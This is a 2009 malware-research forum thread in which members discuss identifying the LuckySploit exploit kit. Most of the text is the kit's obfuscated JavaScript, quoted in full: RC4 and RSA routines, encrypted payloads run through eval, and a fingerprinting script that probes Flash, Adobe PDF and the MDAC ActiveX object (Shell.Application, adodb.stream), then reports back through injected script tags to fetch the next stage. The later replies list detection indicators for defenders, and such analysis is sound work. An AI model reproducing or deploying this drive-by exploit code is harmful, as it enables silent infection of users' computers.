W+HGQ+BZI+BSS+URF+CGO+UIH+MMN+LJO+OFL+ESO+KGZ+XEM+JBL+JSN+FZD+IRH+WRL+KZF+GEY+ILC+LNT+FGO+GRY+IFK+WVE+UJZ+NXD+JEK+QEN+PSC+BGM+CHI+CRG+EED+NHI+WMT+VUU+MVN+CZQ+HYK+PQJ+UMR+SZN+LHG+BBR+VFY+EPB+OKS+BCW+OOC+NPV+VCE+CVJ+ZIU+WUO+FHO+ILZ+YCD+RXJ+ZMJ+ISY+ZTK+NXH+EVW+GWI+YKO+IWC+JLI+DHX+ZIZ+FHE+CBV+VNZ+VWM+GWK+ZQT+PBC+GIF+KGK+DNC+UWT+CPG+PWR+LSS+XZR+JWV+ZIC+HCF+YXX+NEY+ZQS+IKW+KOQ+LMS+TUH+WMD+JBV+EUX+LPO+ZLX+ZOC+ZUU+OCT+NVF+WBR+UPE+FSX+EUN+IOM+JGB+HTH+PLQ+LIM+WQL+IJF+ERO+GZT+GTL+NRI+CXO+FZT+XOG+RWW+DWU+DOB+BRX+TUR+YQB+GFC+SHM+EIL+FGW+TWX+NUX+PON+EON+TOM+VYU+GGF+MBR+XPZ+JWR+LFL+SYY+MLW+JRH+XMZ+NRP+GPV+MMM+RXL+VJV+TRP+JWQ+IPP+GEG+TBZ+NMB+JLO+TJL+BBO+WEP+TFZ+JFL+GLG+WGW+RLJ+TUW+ULE+PSV+XVH+BSH+DNY+TVE+GNU+HRT+CWT+MJG+KXY+BMO+FJD+PXB+YDG+TUG+HPX+YVX+VJC+OLW+BNM+KMY+OEZ+YGZ+VWE+RBH+KJH+TEZ+QLK+WII+MIS+ORP+OSC+TJS+RZZ+DYF+KPS+JJK+WCI+PZH+SPO+HNU+QTW+DLC+IDB+LLJ+MQM+QSX+ILE+YXG+RDX+OZE+CEM+PUT+LFE+WBJ+MMS+KXX+BVU+UXK+QQC+BGV+DVJ+IVZ+FXP+XKZ+FXU+YQJ+GKH+QDH+GLZ+PXL+UVU+ZRB+QRJ+XTM+ENB+SME+CCZ+VVQ+UID+XTE+QXP+HDF+QFO+RRW+TWP+RFQ+NSH+MKM+HBW+EBX+GMC+EYP+UEL+JBX+TEG+OSI+SEJ+EHQ+SSH+QWR+JDT+VXK+MDJ+UMQ+QWI+OZH+QDB+DDX+FQQ+OBC+DKH+WWP+SXN+WTR+VSO+ULK+CBZ+CBP+LVC+SRT+OGR+ZIX+ZLT+VET+FTM+UBK+WMM+DFY+LQC+YZG+KZT+EMD+FPN+PXE+JPB+UZD+PEQ+DWN+WGT+SWI+LUV+RZM+OMM+MOO+REP+BCI+IBW+WEW+XRI+RUP+HBN+GFI+GKI+RJX+GCM+ZEU+UOE+UFN+TOG+TNZ+XHB+PYF+ZRH+UCN+PRP+VDW+RCO+PNJ+TKB+IGD+WKG+LTG+KVL+XHU+JIX+VHK+RLX+QBH+KND+GJW+EHU+OOO+WMU+TFH+PEJ+FPR+CTK+CGW+MRG+FTW+GQT+UZJ+ERP+HGW+ZGP+MMH+IHU+MLC+GCT+FKE+QKJ+JPO+BZR+DFW+LRT+CVH+WZV+KZO+JWY+LMD+MUK+YHY+XRG+NNF+MBL+ZYW+UUB+GEQ+XBG+HEG+ULD+YIR+JCH+ZDR+WSY+VPU+PZQ+DVB+HEF+MVP+WWD+YUQ+MPX+TRR+TMQ+YGR+ZOK+LJW+EJP+QTT+MLI+EUS+OMR+SJZ+WKU+WBX+RQS+DDQ+HLX+YKS+CBK+XUO+NFN+FLJ+CBE+EUK+FHM+REN+FXM+RZI+FVO+GWG+WKL+EVK+CVK+ZXM+UXH+XPP+KDM+ZSW+CIV+DFM+ZWY+UKD+IKZ+YPI+SUY+ODJ+GNF+NCJ+VTP+BZK+XZO+RIF+UZV+CFB+RFT+HCR+UHN+GWB+VOK+WOV+NRY+NEP+MMQ+HVV+YRW+ESV+JIQ+XMF+YJJ+SBZ+MPE+LZB+UPN+XUK+SVJ+TRU+KUK+HYS+JSB+IWJ+MVV+QFN+ZVT+NOE+INL+MEO+VPO+MXF+TBG+FSR+OLY+YCX+PJV+MKW+ZKK+IPI+QOK+HCZ+MYV+BTS+COQ+YNV+XFI+UPG+EPG+QGE+EZN+SGT+TKI+WDP+IWZ+PTS+KXD+BCZ+TFX+YHV+EXF+FBX+MCT+VMZ+KCQ+EQP+UMK+SGJ+DNT+OQO+SIC+TBR+DIN+XDD+ONL+SUD+HVC+MQU+XVQ+WIU+QHF+JHG+URE+LHH+DIM+XHS+DJM+RGY+NDU+EQX+CEW+HFF+CMN+OVJ;KRINGU(TZXIUS);</script></html>

Code: [Select]
function SSI(a,b){ci="";for(i=0;i<b;i++){var d=Math.floor(Math.random()*a.length);ci+=a.substring(d,d+1)}return ci}YIG="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";function hexToString(d){a="";b=0;c=1;for(i=0;i<d.length;i++){if(d.charAt(i)=="="||d.charAt(i)=="\n") break;b=b*64+YIG.indexOf(d.charAt(i));c=(c==1?64:c/4);if(c!=64){a+=String.fromCharCode(parseInt(b/c));b%=c}}return a}oil=0;function DJL(a,b){k="";if(isNaN(oil)){k=oil;oil=0}s=new Array();k+=a;a=k;for(i=oil;i<256;i++)s[i]=i;j=oil;for(i=oil;i<256;i++){j=(j+s[i]+a.charCodeAt(i%a.length))%256;x=s[i];s[i]=s[j];s[j]=x}i=oil;j=oil;c="";for(y=0;y<b.length;y++){i=(i+1)%256;j=(j+s[i])%256;x=s[i];s[i]=s[j];s[j]=x;c+=String.fromCharCode(b.charCodeAt(y)^s[(s[i]+s[j])%256])}return c}function rc4Decrypt(a,b){return DJL(a,b)}VJR=((0xdeadbeefcafe&0xffffff)==0xefcafe);function A(a,b,c){if(a!=null)if("number"==typeof a)this.fromNumber(a,b,c);else if(b==null&&"string"!=typeof a)this.THT(a,256);else this.THT(a,b)}function nbi(){return new A(null)}function KXL(i,x,w,j,c,n){while(--n>=0){var v=x*this[i++]+w[j]+c;c=Math.floor(v/0x4000000);w[j++]=v&0x3ffffff}return c}function QEY(i,x,w,j,c,n){var a=x&0x7fff,xh=x>>15;while(--n>=0){var l=this[i]&0x7fff;var h=this[i++]>>15;var m=xh*l+h*a;l=a*l+((m&0x7fff)<<15)+w[j]+(c&0x3fffffff);c=(l>>>30)+(m>>>15)+xh*h+(c>>>30);w[j++]=l&0x3fffffff}return c}function EDS(i,x,w,j,c,n){var a=x&0x3fff,xh=x>>14;while(--n>=0){var l=this[i]&0x3fff;var h=this[i++]>>14;var m=xh*l+h*a;l=a*l+((m&0x3fff)<<14)+w[j]+c;c=(l>>28)+(m>>14)+xh*h;w[j++]=l&0xfffffff}return c}if(VJR&&(navigator.appName=="Microsoft Internet Explorer")){A.prototype.am=QEY;B=30}else if(VJR&&(navigator.appName!="Netscape")){A.prototype.am=KXL;B=26}else{A.prototype.am=EDS;B=28}A.prototype.DB=B;A.prototype.DM=((1<<B)-1);A.prototype.DV=(1<<B);var BI_FP=52;A.prototype.FV=Math.pow(2,BI_FP);A.prototype.F1=BI_FP-B;A.prototype.F2=2*B-BI_FP;var YLY="0123456789abcdefghijklmnopqrstuvwxyz";var IFG=new Array();var rr,vv;rr="0".charCodeAt(0);for(vv=0;vv<=9;++vv)IFG[rr++]=vv;rr="a".charCodeAt(0);for(vv=10;vv<36;++vv)IFG[rr++]=vv;rr="A".charCodeAt(0);for(vv=10;vv<36;++vv)IFG[rr++]=vv;function IMJ(n){return YLY.charAt(n)}function IHF(s,i){var c=IFG[s.charCodeAt(i)];return(c==null)?-1:c}function UDE(r){for(var i=this.t-1;i>=0;--i)r[i]=this[i];r.t=this.t;r.s=this.s}function VZY(x){this.t=1;this.s=(x<0)?-1:0;if(x>0)this[0]=x;else if(x<-1)this[0]=x+DV;else this.t=0}function nbv(i){var r=nbi();r.STR(i);return r}function YPJ(s,b){var k;if(b==16)k=4;else if(b==8)k=3;else if(b==256)k=8;else if(b==2)k=1;else if(b==32)k=5;else if(b==4)k=2;else{this.fromRadix(s,b);return}this.t=0;this.s=0;var i=s.length,mi=false,sh=0;while(--i>=0){var x=(k==8)?s[i]&0xff:IHF(s,i);if(x<0){if(s.charAt(i)=="-")mi=true;continue}mi=false;if(sh==0)this[this.t++]=x;else if(sh+k>this.DB){this[this.t-1]|=(x&((1<<(this.DB-sh))-1))<<sh;this[this.t++]=(x>>(this.DB-sh))}else this[this.t-1]|=x<<sh;sh+=k;if(sh>=this.DB)sh-=this.DB}if(k==8&&(s[0]&0x80)!=0){this.s=-1;if(sh>0)this[this.t-1]|=((1<<(this.DB-sh))-1)<<sh}this.GHI();if(mi)A.PDG.UCV(this,this)}function DSK(){var c=this.s&this.DM;while(this.t>0&&this[this.t-1]==c)--this.t}function OHD(b){if(this.s<0)return"-"+this.THH().IHK(b);var k;if(b==16)k=4;else if(b==8)k=3;else if(b==2)k=1;else if(b==32)k=5;else if(b==4)k=2;else return this.toRadix(b);var a=(1<<k)-1,d,m=false,r="",i=this.t;var p=this.DB-(i*this.DB)%k;if(i-->0){if(p<this.DB&&(d=this[i]>>p)>0){m=true;r=IMJ(d)}while(i>=0){if(p<k){d=(this[i]&((1<<p)-1))<<(k-p);d|=this[--i]>>(p+=this.DB-k)}else{d=(this[i]>>(p-=k))&a;if(p<=0){p+=this.DB;--i}}if(d>0)m=true;if(m)r+=IMJ(d)}}return m?r:"0"}function QYL(){var r=nbi();A.PDG.UCV(this,r);return r}function BSL(){return(this.s<0)?this.THH():this}function YZF(a){var r=this.s-a.s;if(r!=0)return r;var i=this.t;r=i-a.t;if(r!=0)return r;while(--i>=0)if((r=this[i]-a[i])!=0)return r;return 0}function RHQ(x){var r=1,t;if((t=x>>>16)!=0){x=t;r+=16}if((t=x>>8)!=0){x=t;r+=8}if((t=x>>4)!=0){x=t;r+=4}if((t=x>>2)!=0){x=t;r+=2}if((t=x>>1)!=0){x=t;r+=1}return r}function ZPX(){if(this.t<=0)return 0;return this.DB*(this.t-1)+RHQ(this[this.t-1]^(this.s&this.DM))}function FJZ(n,r){var i;for(i=this.t-1;i>=0;--i)r[i+n]=this[i];for(i=n-1;i>=0;--i)r[i]=0;r.t=this.t+n;r.s=this.s}function IFZ(n,r){for(var i=n;i<this.t;++i)r[i-n]=this[i];r.t=Math.max(this.t-n,0);r.s=this.s}function HEO(n,r){var a=n%this.DB;var b=this.DB-a;var d=(1<<b)-1;var e=Math.floor(n/this.DB),c=(this.s<<a)&this.DM,i;for(i=this.t-1;i>=0;--i){r[i+e+1]=(this[i]>>b)|c;c=(this[i]&d)<<a}for(i=e-1;i>=0;--i)r[i]=0;r[e]=c;r.t=this.t+e+1;r.s=this.s;r.GHI()}function QGG(n,r){r.s=this.s;var a=Math.floor(n/this.DB);if(a>=this.t){r.t=0;return}var b=n%this.DB;var c=this.DB-b;var d=(1<<b)-1;r[0]=this[a]>>b;for(var i=a+1;i<this.t;++i){r[i-a-1]|=(this[i]&d)<<c;r[i-a]=this[i]>>b}if(b>0)r[this.t-a-1]|=(this.s&d)<<c;r.t=this.t-a;r.GHI()}function ZTM(a,r){var i=0,c=0,m=Math.min(a.t,this.t);while(i<m){c+=this[i]-a[i];r[i++]=c&this.DM;c>>=this.DB}if(a.t<this.t){c-=a.s;while(i<this.t){c+=this[i];r[i++]=c&this.DM;c>>=this.DB}c+=this.s}else{c+=this.s;while(i<a.t){c-=a[i];r[i++]=c&this.DM;c>>=this.DB}c-=a.s}r.s=(c<0)?-1:0;if(c<-1)r[i++]=this.DV+c;else if(c>0)r[i++]=c;r.t=i;r.GHI()}function DKL(a,r){var x=this.abs(),y=a.abs();var i=x.t;r.t=i+y.t;while(--i>=0)r[i]=0;for(i=0;i<y.t;++i)r[i+x.t]=x.am(0,y[i],r,i,0,x.t);r.s=0;r.GHI();if(this.s!=a.s)A.PDG.UCV(r,r)}function NKD(r){var x=this.abs();var i=r.t=2*x.t;while(--i>=0)r[i]=0;for(i=0;i<x.t-1;++i){var c=x.am(i,x[i],r,2*i,0,1);if((r[i+x.t]+=x.am(i+1,2*x[i],r,2*i+1,c,x.t-i-1))>=x.DV){r[i+x.t]-=x.DV;r[i+x.t+1]=1}}if(r.t>0)r[r.t-1]+=x.am(i,x[i],r,2*i,0,1);r.s=0;r.GHI()}function XID(m,q,r){var a=m.abs();if(a.t<=0)return;var b=this.abs();if(b.t<a.t){if(q!=null)q.STR(0);if(r!=null)this.QMW(r);return}if(r==null)r=nbi();var y=nbi(),ts=this.s,ms=m.s;var c=this.DB-RHQ(a[a.t-1]);if(c>0){a.UMS(c,y);b.UMS(c,r)}else{a.QMW(y);b.QMW(r)}var d=y.t;var f=y[d-1];if(f==0)return;var g=f*(1<<this.F1)+((d>1)?y[d-2]>>this.F2:0);var h=this.FV/g,d2=(1<<this.F1)/g,e=1<<this.F2;var i=r.t,j=i-d,t=(q==null)?nbi():q;y.NPM(j,t);if(r.YBT(t)>=0){r[r.t++]=1;r.UCV(t,r)}A.ONE.NPM(d,t);t.UCV(y,y);while(y.t<d)y[y.t++]=0;while(--j>=0){var k=(r[--i]==f)?this.DM:Math.floor(r[i]*h+(r[i-1]+e)*d2);if((r[i]+=y.am(0,k,r,j,0,d))<k){y.NPM(j,t);r.UCV(t,r);while(r[i]<--k)r.UCV(t,r)}}if(q!=null){r.BXF(d,q);if(ts!=ms)A.PDG.UCV(q,q)}r.t=d;r.GHI();if(c>0)r.SIK(c,r);if(ts<0)A.PDG.UCV(r,r)}function SZX(a){var r=nbi();this.abs().PUH(a,null,r);if(this.s<0&&r.YBT(A.PDG)>0)a.UCV(r,r);return r}function QEH(m){this.m=m}function PLL(x){if(x.s<0||x.YBT(this.m)>=0)return x.mod(this.m);else return x}function ORO(x){return x}function DHT(x){x.PUH(this.m,null,x)}function IHN(x,y,r){x.EMC(y,r);this.OCM(r)}function UJW(x,r){x.SDO(r);this.OCM(r)}QEH.prototype.GJC=PLL;QEH.prototype.HVC=ORO;QEH.prototype.OCM=DHT;QEH.prototype.ZPH=IHN;QEH.prototype.JEO=UJW;function GVG(){if(this.t<1)return 0;var x=this[0];if((x&1)==0)return 0;var y=x&3;y=(y*(2-(x&0xf)*y))&0xf;y=(y*(2-(x&0xff)*y))&0xff;y=(y*(2-(((x&0xffff)*y)&0xffff)))&0xffff;y=(y*(2-x*y%this.DV))%this.DV;return(y>0)?this.DV-y:-y}function ITO(m){this.m=m;this.mp=m.GOO();this.mpl=this.mp&0x7fff;this.mph=this.mp>>15;this.um=(1<<(m.DB-15))-1;this.mt2=2*m.t}function KVO(x){var r=nbi();x.abs().NPM(this.m.t,r);r.PUH(this.m,null,r);if(x.s<0&&r.YBT(A.PDG)>0)this.m.UCV(r,r);return r}function TON(x){var r=nbi();x.QMW(r);this.OCM(r);return r}function REQ(x){while(x.t<=this.mt2)x[x.t++]=0;for(var i=0;i<this.m.t;++i){var j=x[i]&0x7fff;var a=(j*this.mpl+(((j*this.mph+(x[i]>>15)*this.mpl)&this.um)<<15))&x.DM;j=i+this.m.t;x[j]+=this.m.am(0,a,x,i,0,this.m.t);while(x[j]>=x.DV){x[j]-=x.DV;x[++j]++}}x.GHI();x.BXF(this.m.t,x);if(x.YBT(this.m)>=0)x.UCV(this.m,x)}function XTC(x,r){x.SDO(r);this.OCM(r)}function IIT(x,y,r){x.EMC(y,r);this.OCM(r)}ITO.prototype.GJC=KVO;ITO.prototype.HVC=TON;ITO.prototype.OCM=REQ;ITO.prototype.ZPH=IIT;ITO.prototype.JEO=XTC;function WKB(){return((this.t>0)?(this[0]&1):this.s)==0}function PSH(e,z){if(e>0xffffffff||e<1)return A.ONE;var r=nbi(),r2=nbi(),g=z.GJC(this),i=RHQ(e)-1;g.QMW(r);while(--i>=0){z.JEO(r,r2);if((e&(1<<i))>0)z.ZPH(r2,g,r);else{var t=r;r=r2;r2=t}}return z.HVC(r)}function DZJ(e,m){var z;if(e<256||m.ZUU())z=new QEH(m);else z=new ITO(m);return this.exp(e,z)}A.prototype.QMW=UDE;A.prototype.STR=VZY;A.prototype.THT=YPJ;A.prototype.GHI=DSK;A.prototype.NPM=FJZ;A.prototype.BXF=IFZ;A.prototype.UMS=HEO;A.prototype.SIK=QGG;A.prototype.UCV=ZTM;A.prototype.EMC=DKL;A.prototype.SDO=NKD;A.prototype.PUH=XID;A.prototype.GOO=GVG;A.prototype.ZUU=WKB;A.prototype.exp=PSH;A.prototype.IHK=OHD;A.prototype.THH=QYL;A.prototype.abs=BSL;A.prototype.YBT=YZF;A.prototype.QTC=ZPX;A.prototype.mod=SZX;A.prototype.ZND=DZJ;A.PDG=nbv(0);A.ONE=nbv(1);function DMQ(){this.i=0;this.j=0;this.S=new Array()}function YRM(a){var i,j,t;for(i=0;i<256;++i)this.S[i]=i;j=0;for(i=0;i<256;++i){j=(j+this.S[i]+a[i%a.length])&255;t=this.S[i];this.S[i]=this.S[j];this.S[j]=t}this.i=0;this.j=0}function FZF(){var t;this.i=(this.i+1)&255;this.j=(this.j+this.S[this.i])&255;t=this.S[this.i];this.S[this.i]=this.S[this.j];this.S[this.j]=t;return this.S[(t+this.S[this.i])&255]}DMQ.prototype.init=YRM;DMQ.prototype.next=FZF;function SKB(){return new DMQ()}var JSZ=256;var KSM;var NND;var CJL;function GEO(x){NND[CJL++]^=x&255;NND[CJL++]^=(x>>8)&255;NND[CJL++]^=(x>>16)&255;NND[CJL++]^=(x>>24)&255;if(CJL>=JSZ)CJL-=JSZ}function TVS(){GEO(new Date().getTime())}if(NND==null){NND=new Array();CJL=0;var t;if(navigator.appName=="Netscape"&&navigator.appVersion<"5"&&window.crypto){var z=window.crypto.random(32);for(t=0;t<z.length;++t)NND[CJL++]=z.charCodeAt(t)&255}while(CJL<JSZ){t=Math.floor(65536*Math.random());NND[CJL++]=t>>>8;NND[CJL++]=t&255}CJL=0;TVS()}function KSL(){if(KSM==null){TVS();KSM=SKB();KSM.init(NND);for(CJL=0;CJL<NND.length;++CJL)NND[CJL]=0;CJL=0}return KSM.next()}function KSLs(a){var i;for(i=0;i<a.length;++i)a[i]=KSL()}function FWC(){}FWC.prototype.UQP=KSLs;function GMT(a,r){return new A(a,r)}function NOG(s,n){var a="";var i=0;while(i+n<s.length){a+=s.substring(i,i+n)+"\n";i+=n}return a+s.substring(i,s.length)}function DNX(b){if(b<0x10)return"0"+b.IHK(16);else return b.IHK(16)}function ORX(s,n){if(n<s.length+11){return null}var a=new Array();var i=s.length-1;while(i>=0&&n>0)a[--n]=s.charCodeAt(i--);a[--n]=0;var b=new FWC();var x=new Array();while(n>2){x[0]=0;while(x[0]==0)b.UQP(x);a[--n]=x[0]}a[--n]=2;a[--n]=0;return new A(a)}function RSAKey(){this.n=null;this.e=0;this.d=null;this.p=null;this.q=null;this.CNO=null;this.ULY=null;this.TSE=null}function TJH(N,E){if(N!=null&&E!=null&&N.length>0&&E.length>0){this.n=GMT(N,16);this.e=parseInt(E,16)}}function TPL(x){return x.ZND(this.e,this.n)}function IJG(a){if(oil>1){oil=SSI(YIG,53);a=ci};var m=ORX(a,(this.n.QTC()+7)>>3);if(m==null)return null;var c=this.doPublic(m);if(c==null)return null;var h=c.IHK(16);if((h.length&1)==0)return h;else return"0"+h}RSAKey.prototype.doPublic=TPL;RSAKey.prototype.setPublic=TJH;RSAKey.prototype.encrypt=IJG;sss="";for(oil=0;oil<53;oil++)sss+=String.fromCharCode(Math.floor(75+Math.sin(oil)*21));rsa=new RSAKey();rsa.setPublic("9eea3580cc1762adf9448fdb2671bd08539eea3580cc1762adf9448fdb267268a3580cc1762adf9448fdb2671bd08539eea3580cc1762adf9448fdb2671bfe8d","10001");res=rsa.encrypt(sss);nextkey=res;var scriptTag=document.createElement("script");scriptTag.src="?"+res;document.body.appendChild(scriptTag);
Code: [Select]
k='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';t=eval('rc4Decrypt')(nextkey,hexToString(k));eval(t);
Code: [Select]
nextkey='';k='';vers=new Array();function check_flash_vuln()

{

/**/e4flash;

try

{

/**/Flashver='';

/**/Flashver=(new ActiveXObject('ShockwaveFlash.ShockwaveFlash.9')).GetVariable('$'+'version');

var flash_re=/([0-9,]+)/;

Flashver=flash_re.exec(Flashver)[1];

Flashver=Flashver.split(',');

}catch(e4flash){}

if(e4flash!='[object Error]')

{

flash_real_ver=Flashver[0]+':'+Flashver[1]+':'+Flashver[2];

return flash_real_ver;

}

return 0;

}

try{vers.push('f',check_flash_vuln());}catch(e){}

function check_pdf_vuln()

{

/**/WlHmRwck=new Array(0,0,0);

/**/DWhq4qTe=eval('null');

/**/epdf;



try{

DWhq4qTe=new ActiveXObject('AcroPDF.PDF')

}catch(epdf){}



if(!DWhq4qTe){

try{

DWhq4qTe=new ActiveXObject('PDF.PdfCtrl')

}catch(/**/ej8889793ff){}}





if(DWhq4qTe)

{

/**/FPUkcU5N=DWhq4qTe['GetVersions']()['split'](',');



snum=-1;

try

{

for(index_pdf=0;index_pdf<FPUkcU5N.length;index_pdf++)

if(FPUkcU5N[index_pdf].indexOf('Script')!=-1)snum=index_pdf;

}

catch(e){}

if(snum==-1)snum=0;



FPUkcU5N=FPUkcU5N[snum]['split']('=')['toString']();

FPUkcU5N=FPUkcU5N.replace(new RegExp('[^0-9]+','g'),'');



WlHmRwck[0]=FPUkcU5N['charAt'](0);

WlHmRwck[1]=FPUkcU5N['charAt'](1);

WlHmRwck[2]=FPUkcU5N['charAt'](2);



return WlHmRwck[0]+WlHmRwck[1]+WlHmRwck[2];

}

return 0

}

try{vers.push('p',check_pdf_vuln());}catch(e){}



function check_mdac_vuln()

{

mdacobj = document.createElement('object');

mdacobj.setAttribute('id','mdacobj');

mdacobj.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');

g=1;

try{

adodbobj = mdacobj.CreateObject('adodb.stream','');

g++;

}catch(e){}

try{

shellobj = mdacobj.CreateObject('Shell.Application','');

g++;

}catch(e){}

try{

xmlobj = mdacobj.CreateObject('msxml2.XMLHTTP','');

g++;

}catch(e){}

return g;

}

try{vers.push('m',check_mdac_vuln());}catch(e){}

res2='versions='+vers;

res2=rsa.encrypt(res2);

nextkey='versions='+vers+res2;

var scriptTag2=document.createElement('script');

scriptTag2.src='?'+res2;

document.body.appendChild(scriptTag2);


Code: [Select]
k='cKIJgB5+uOKPNGG2fjyUPcS61PETzXeJOXBnPLlhepdy6HqJrNM12aLK7FsC444siyzLRbxYb8wvqcO6fj90t2U85BSEZB8iYymccSXOEe1d5lIE5allBc0=';t=eval('rc4Decrypt')(nextkey,hexToString(k));eval(t);

May 30, 2009, 03:50:47 am
Reply #1

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

May 30, 2009, 09:26:08 pm
Reply #2

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964
Ah right I didn't realise. I just updated the original post, I have decoded some of it, but I'm stuck with that last part.

I have some questions about LuckySploit, is it just a generic name for newer obfuscated exploit kits, or is it a very specific kit?
Is it the same as My Poly Sploit? If not what does My Poly Sploit look like...

There are two exploits in this thread: http://www.malwaredomainlist.com/forums/index.php?topic=2264.0
There are references in the thread to one of the exploits being Sploit25, which is Sploit25 and what is the other?

What is the exploit kits name in this thread: http://www.malwaredomainlist.com/forums/index.php?topic=2953.0

It would be nice to be able to iddentify a kit by name when you see it. As it stands I seem to be calling everything I come across "LuckySploit" at the moment :P


May 30, 2009, 10:38:55 pm
Reply #3

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
As far as I know, it's a specific name given to the pack used for these exploits (URL format, gzip and RSA presence are indicators I use to identify it)

The one in the JavaScript thread is LuckySploit too ...
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

May 31, 2009, 11:59:08 pm
Reply #4

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335

It would be nice to be able to iddentify a kit by name when you see it. As it stands I seem to be calling everything I come across "LuckySploit" at the moment :P


Indicators for Luckysploit:
1. gzip compressed script.I'm not aware of any other exploit kit which uses gzip compression
2. script download works only once, second attempt gives 404.
3. RC4 functions in script

Ruining the bad guy's day